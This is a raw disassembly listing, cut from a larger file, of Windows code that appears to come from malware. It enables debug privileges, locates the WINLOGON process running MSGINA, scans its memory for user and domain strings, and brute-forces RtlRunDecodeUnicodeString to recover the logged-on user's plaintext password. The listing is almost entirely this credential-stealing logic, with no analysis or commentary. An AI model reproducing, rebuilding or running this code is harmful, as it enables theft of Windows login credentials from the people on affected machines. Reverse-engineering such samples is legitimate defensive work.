		add	esp, 10h
		pop	ebx
		jmp	short loc_416EE9
; ---------------------------------------------------------------------------

loc_416EB7:				; CODE XREF: sub_416DD9+2Cj
					; sub_416DD9+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx

loc_416EE9:				; CODE XREF: sub_416DD9+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416DD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EFD	proc near		; CODE XREF: sub_416FCF+17p
					; sub_416FCF+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416F70
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_43840C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_416FA4
; ---------------------------------------------------------------------------

loc_416F70:				; CODE XREF: sub_416EFD+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383D0
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 20h

loc_416FA4:				; CODE XREF: sub_416EFD+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_415D38
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416EFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FCF	proc near		; CODE XREF: sub_401ACD+252Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416FF0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h
		jmp	short loc_417051
; ---------------------------------------------------------------------------

loc_416FF0:				; CODE XREF: sub_416FCF+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB94C
		lea	esi, [eax+2]
		push	esi
		call	sub_41BEB5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB94C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_417048

loc_417014:				; CODE XREF: sub_416FCF+77j
		push	offset off_438448
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417037
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h

loc_417037:				; CODE XREF: sub_416FCF+54j
		push	esi
		call	sub_41B9C0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_417014

loc_417048:				; CODE XREF: sub_416FCF+43j
		push	edi
		call	sub_41BA91
		pop	ecx
		pop	edi
		pop	esi

loc_417051:				; CODE XREF: sub_416FCF+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416FCF	endp

; ---------------------------------------------------------------------------
dword_417054	dd 81EC8B55h, 49CECh, 8458B00h,	0B9575653h, 0A7h, 0BD8DF08Bh
					; DATA XREF: sub_401ACD+67C1o
		dd 0FFFFFD64h, 80C7A5F3h, 298h,	1, 0FEEC858Dh, 0E850FFFFh
		dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h
		dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh
		dd 50FFFFFDh, 43846C68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h
		dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh
		dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh,	83FFFF27h
		dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h
		dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh,	0C4830000h
		dd 858D5018h, 0FFFFFB64h, 43844C68h, 3FE85000h,	83000051h
		dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh,	858D50F4h
		dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h
		dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h
		dd 0E8905359h, 22D8E94h, 555B5E5Fh, 0EC81EC8Bh,	54Ch, 0BE575653h
		dd 104h, 8D1875FFh, 0FFFDB885h,	84B068FFh, 50560043h, 51CBE8h
		dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh,	0B8858D50h
		dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC4BBh, 0F6717400h
		dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h
		dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh,	0FFFEE885h
		dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h,	0FF000051h
		dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h
		dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh
		dd 0E890FC75h, 2348DD8h, 8F75C085h, 90FC75FFh, 1C8DCBE8h
		dd 1475FF02h, 0FDB8858Dh, 75FFFFFFh, 50565318h,	5117E8h
		dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh
		dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h
		dd 0FFFFFFFAh, 94681875h, 68004384h, 200h, 50DAE850h, 16A0000h
		dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h
		dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 8D52E890h,	0C0850234h
		dd 0E856B175h, 21C8D48h, 1C458B90h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172C1	proc near		; DATA XREF: sub_401ACD+1C72o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41AE41
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_417300
		cmp	eax, 2
		jz	short loc_417300
		push	offset unk_438688
		jmp	loc_41743F
; ---------------------------------------------------------------------------

loc_417300:				; CODE XREF: sub_4172C1+2Ej
					; sub_4172C1+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41743A
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26B0CBCh
		mov	esi, dword_4270C4
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D484C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D4840, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D4A50, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D4848, eax
		call	esi
		mov	dword_4D4844, eax
		call	sub_417493
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41740D
		mov	esi, dword_427148
		mov	edi, 400h
		mov	ebx, offset dword_4D3840
		push	edi
		push	ebx
		push	offset off_4385C4
		call	esi
		push	edi
		mov	edi, offset dword_4D4040
		push	edi
		push	offset off_4385AC
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D4A58
		push	[ebp+arg_0]
		jnz	short loc_4173B9
		call	sub_41761C
		jmp	short loc_4173BE
; ---------------------------------------------------------------------------

loc_4173B9:				; CODE XREF: sub_4172C1+EFj
		call	sub_4177C3

loc_4173BE:				; CODE XREF: sub_4172C1+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417406
		cmp	dword_4D4A58, 0
		jnz	short loc_4173ED
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_438550
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 18h
		jmp	short loc_417420
; ---------------------------------------------------------------------------

loc_4173ED:				; CODE XREF: sub_4172C1+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4173FD
		call	sub_4178F9
		jmp	short loc_417402
; ---------------------------------------------------------------------------

loc_4173FD:				; CODE XREF: sub_4172C1+133j
		call	sub_417990

loc_417402:				; CODE XREF: sub_4172C1+13Aj
		pop	ecx
		push	eax
		jmp	short loc_417412
; ---------------------------------------------------------------------------

loc_417406:				; CODE XREF: sub_4172C1+101j
		push	offset unk_438518
		jmp	short loc_417412
; ---------------------------------------------------------------------------

loc_41740D:				; CODE XREF: sub_4172C1+B6j
		push	offset unk_4384EC

loc_417412:				; CODE XREF: sub_4172C1+143j
					; sub_4172C1+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx

loc_417420:				; CODE XREF: sub_4172C1+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 27A07FAh
		pop	ebx
		jmp	short loc_41744D
; ---------------------------------------------------------------------------

loc_41743A:				; CODE XREF: sub_4172C1+4Ej
		push	offset unk_4384B8

loc_41743F:				; CODE XREF: sub_4172C1+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx

loc_41744D:				; CODE XREF: sub_4172C1+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_417474
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409869
		add	esp, 14h

loc_417474:				; CODE XREF: sub_4172C1+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415D38
		push	[ebp+var_18]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
sub_4172C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417493	proc near		; CODE XREF: sub_4172C1+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427154
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D484C
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27C0000h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D484C
		test	eax, eax
		jnz	short loc_417580
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417580
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_417580

loc_41751C:				; CODE XREF: sub_417493+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_417573
		push	0
		push	0
		call	dword_4D4840
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D4A50
		test	eax, eax
		jnz	short loc_417564
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417598

loc_417564:				; CODE XREF: sub_417493+AAj
		test	edi, edi
		jz	short loc_41756F
		push	edi
		call	dword_4D4848

loc_41756F:				; CODE XREF: sub_417493+D3j
		mov	eax, [esp+28h+var_10]

loc_417573:				; CODE XREF: sub_417493+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_41751C

loc_417580:				; CODE XREF: sub_417493+6Dj
					; sub_417493+7Aj ...
		xor	edi, edi

loc_417582:				; CODE XREF: sub_417493+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	eax, edi

loc_417590:				; CODE XREF: sub_417493+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_417598:				; CODE XREF: sub_417493+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_417601
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax

loc_4175AE:				; CODE XREF: sub_417493+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417615
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4175F3
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_4175F3:				; CODE XREF: sub_417493+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_4175AE

loc_417601:				; CODE XREF: sub_417493+10Fj
		test	edi, edi
		jz	short loc_41760C
		push	edi
		call	dword_4D4848

loc_41760C:				; CODE XREF: sub_417493+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_417582
; ---------------------------------------------------------------------------

loc_417615:				; CODE XREF: sub_417493+13Cj
		xor	eax, eax
		jmp	loc_417590
sub_417493	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41761C	proc near		; CODE XREF: sub_4172C1+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 269027Fh
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_417645
		xor	eax, eax
		jmp	loc_4177C0
; ---------------------------------------------------------------------------

loc_417645:				; CODE XREF: sub_41761C+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27E02D8h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427154
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_42715C
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_417695
		xor	esi, esi
		jmp	loc_4177B3
; ---------------------------------------------------------------------------

loc_417695:				; CODE XREF: sub_41761C+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 27D0C8Ah
		test	eax, eax
		jz	loc_4177A2
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4177A2
		test	[ebp+var_2B], 1
		jnz	loc_4177A2
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4177A2

loc_4176F8:				; CODE XREF: sub_41761C+112j
		push	edi
		push	offset dword_4D3840
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417720
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D4040
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417730

loc_417720:				; CODE XREF: sub_41761C+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4177A2
		jmp	short loc_4176F8
; ---------------------------------------------------------------------------

loc_417730:				; CODE XREF: sub_41761C+102j
		test	edi, edi
		jz	short loc_4177A2
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 27505CAh
		test	eax, eax
		jz	short loc_41776B
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 2750000h
		test	eax, eax
		jz	short loc_41776B
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_41776B:				; CODE XREF: sub_41761C+12Bj
					; sub_41761C+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4A64, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D4A5C, eax
		mov	dword_4D4A60, edi

loc_4177A2:				; CODE XREF: sub_41761C+90j
					; sub_41761C+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	esi, [ebp+var_10]

loc_4177B3:				; CODE XREF: sub_41761C+74j
		push	[ebp+var_4]
		nop
		call	near ptr 2670000h
		pop	edi
		mov	eax, esi
		pop	ebx

loc_4177C0:				; CODE XREF: sub_41761C+24j
		pop	esi
		leave
		retn
sub_41761C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177C3	proc near		; CODE XREF: sub_4172C1:loc_4173B9p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 269027Fh
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4178B5
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27E02D8h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_4178AC
		mov	edi, dword_427154

loc_41780E:				; CODE XREF: sub_4177C3+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27D0C8Ah
		test	eax, eax
		jz	short loc_41789A
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4178A0
		test	[ebp+var_13], 1
		jnz	short loc_4178A0
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27D0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27E0000h
		test	eax, eax
		jz	short loc_41788C
		push	offset dword_4D3840
		push	esi
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41788C
		lea	eax, [esi+400h]
		push	offset dword_4D4040
		push	eax
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4178BC

loc_41788C:				; CODE XREF: sub_4177C3+9Fj
					; sub_4177C3+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 27C0000h
		nop
		jmp	short loc_4178A0
; ---------------------------------------------------------------------------

loc_41789A:				; CODE XREF: sub_4177C3+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_4178A0:				; CODE XREF: sub_4177C3+71j
					; sub_4177C3+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_41780E

loc_4178AC:				; CODE XREF: sub_4177C3+3Fj
		push	[ebp+arg_0]
		call	near ptr 2670000h
		nop

loc_4178B5:				; CODE XREF: sub_4177C3+1Ej
		xor	eax, eax

loc_4178B7:				; CODE XREF: sub_4177C3+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4178BC:				; CODE XREF: sub_4177C3+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D4A5C, ebx
		mov	dword_4D4A60, eax
		cmp	[eax], cl
		jnz	short loc_4178DE
		cmp	[eax+1], cl
		jz	short loc_4178E6

loc_4178DE:				; CODE XREF: sub_4177C3+114j
					; sub_4177C3+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4178DE

loc_4178E6:				; CODE XREF: sub_4177C3+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	near ptr 2670000h
		nop
		push	1
		pop	eax
		jmp	short loc_4178B7
sub_4177C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178F9	proc near		; CODE XREF: sub_4172C1+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D4A58
		push	esi
		mov	esi, dword_427154
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		call	near ptr 27D0000h
		nop
		mov	ecx, dword_4D4A58
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4A60
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4A64
		push	eax
		call	dword_4D4844
		push	[ebp+var_4]
		mov	edi, offset dword_4D4850
		push	offset dword_4D3840
		push	offset dword_4D4040
		push	[ebp+arg_0]
		push	offset dword_4386D4
		push	200h
		push	edi
		call	sub_41C360
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 27C0000h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4178F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417990	proc near		; CODE XREF: sub_4172C1:loc_4173FDp

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D4A58
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	near ptr 27D0C47h
		nop
		push	eax
		call	near ptr 27D0000h
		nop
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D4040
		mov	edi, 200h
		mov	esi, offset dword_4D3640

loc_4179D6:				; CODE XREF: sub_417990+FAj
		mov	eax, dword_4D4A58
		add	eax, eax
		push	eax
		push	dword_4D4A60
		push	[ebp+var_14]
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D4844
		mov	eax, dword_4D4A58
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_417A4B

loc_417A13:				; CODE XREF: sub_417990+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417A68
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417A37
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417A37
		cmp	dl, 20h
		jnb	short loc_417A31
		and	[ebp+var_8], 0

loc_417A31:				; CODE XREF: sub_417990+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417A3B

loc_417A37:				; CODE XREF: sub_417990+90j
					; sub_417990+96j
		and	[ebp+var_8], 0

loc_417A3B:				; CODE XREF: sub_417990+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_417A13
		cmp	[ebp+var_8], 0
		jz	short loc_417A68

loc_417A4B:				; CODE XREF: sub_417990+81j
		push	[ebp+var_14]
		push	offset dword_4D3840
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_4386D4
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 1Ch
		jmp	short loc_417A80
; ---------------------------------------------------------------------------

loc_417A68:				; CODE XREF: sub_417990+87j
					; sub_417990+B9j
		push	offset dword_4D3840
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438724
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 18h

loc_417A80:				; CODE XREF: sub_417990+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_4179D6
		push	[ebp+var_14]
		push	0
		call	near ptr 27D0C47h
		nop
		push	eax
		call	near ptr 27C0000h
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417990	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AA9	proc near		; CODE XREF: sub_417C61+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
